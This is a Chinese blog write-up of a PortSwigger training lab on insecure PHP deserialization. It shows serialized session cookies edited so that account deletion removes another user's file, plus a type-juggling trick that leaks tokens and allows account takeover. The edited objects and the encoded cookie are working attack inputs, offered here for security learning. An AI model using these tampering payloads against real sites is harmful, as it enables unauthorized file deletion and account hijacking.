从业者-使用应用程序功能
# 实验室:通过应用程序功能利用不安全的反序列化
# 题目
本实验使用基于序列化的会话机制。某个特定功能 对序列化对象中提供的数据 调用了危险方法。若要解决该实验,请编辑会话 cookie 中的序列化对象,并使用它来删除 Carlos 家目录中的morale.txt
文件。
你可以使用以下凭据登录到自己的帐户:wiener:peter
你还可以访问备用帐户:gregg:rosebud
- name: 实验室-从业者
desc: 通过应用程序功能利用不安全的反序列化 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-using-application-functionality-to-exploit-insecure-deserialization
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 实操
点击 “ACCESS THE LAB” 进入实验室。
一个博客站点。
使用题目中提供的用户名和密码进行登录。
登录之后,通过 BurpSuite 捕获一个请求数据包,找到 Cookie 中经过加密的值。
对加密的值进行解码,得到一个 PHP 序列化对象。
参数avatar_link
应该就是个人资料图像的存储路径了。
O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"e5yimo72bn99wcd47bbvtatan57grlfk";s:11:"avatar_link";s:19:"users/wiener/avatar";}
在账户界面,上传一张图片,它的src
路径和avatar_link
有点相像。
图片可以通过 URL 单独访问。
点击 “Delete account” 删除当前账户。
再次通过 URL 访问图片,发现已经无法访问。
说明在删除账户的同时,会根据avatar_link
的路径,删除用户所上传的个人资料图片。
登录题目中所提供的备用帐户:gregg:rosebud
,同样是捕获一个请求数据包,然后进行解码。
O:4:"User":3:{s:8:"username";s:5:"gregg";s:12:"access_token";s:32:"qbt6cjrgk1u7gyehfunsymj8w78bnsj6";s:11:"avatar_link";s:18:"users/gregg/avatar";}
题目说要删除 carlos 家目录中的morale.txt
文件,但是没具体说明家目录在哪。我们就按照 Linux 系统中普通用户的家目录来吧。
将avatar_link
参数修改为/home/carlos/morale.txt
,并将字符串长度修改为23
(一定一定要改长度!)。
O:4:"User":3:{s:8:"username";s:5:"gregg";s:12:"access_token";s:32:"qbt6cjrgk1u7gyehfunsymj8w78bnsj6";s:11:"avatar_link";s:23:"/home/carlos/morale.txt";}
对修改过后的序列化对象进行编码:
Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjU6ImdyZWdnIjtzOjEyOiJhY2Nlc3NfdG9rZW4iO3M6MzI6InFidDZjanJnazF1N2d5ZWhmdW5zeW1qOHc3OGJuc2o2IjtzOjExOiJhdmF0YXJfbGluayI7czoyMzoiL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO30%3d
覆盖原有 Cookie。
然后点击 “Delete account” 删除当前账户。
在删除gregg
账户的同时,应用程序根据avatar_link: /home/carlos/morale.txt
删除了 carlos 家目录中的对应文件。
实验完成。
# 彩蛋1
如果你只是单纯修改了avatar_link
的值,而没有更新长度为23
:
O:4:"User":3:{s:8:"username";s:5:"gregg";s:12:"access_token";s:32:"qbt6cjrgk1u7gyehfunsymj8w78bnsj6";s:11:"avatar_link";s:18:"/home/carlos/morale.txt";}
则反序列化会失败,因为给出的数据长度不一致。
# 彩蛋2
如果你像上个实验室一样,修改access_token
的数据类型为数值i
:
O:4:"User":3:{s:8:"username";s:5:"gregg";s:12:"access_token";i:0;s:11:"avatar_link";s:18:"users/gregg/avatar";}
反序列化之后会曝出三个access_token
值,其中两个是wiener
和gregg
账户的,还有一个是carlos
账户的。
如果你复制carlos
的 token 值,并将其应用到序列化对象中,则可以获得 carlos 账户的访问权限,这相当于一个水平越权漏洞。但这并不能帮助你完成实验。
O:4:"User":3:{s:8:"username";s:5:"gregg";s:12:"access_token";s:32:"<carlos账户的token>";s:11:"avatar_link";s:18:"users/gregg/avatar";}
# 彩蛋3
在使用 Linux 的家目录之前,我曾试图这样users/carlos/morale.txt
:
O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"e5yimo72bn99wcd47bbvtatan57grlfk";s:11:"avatar_link";s:23:"users/carlos/morale.txt";}
可想而知,失败了。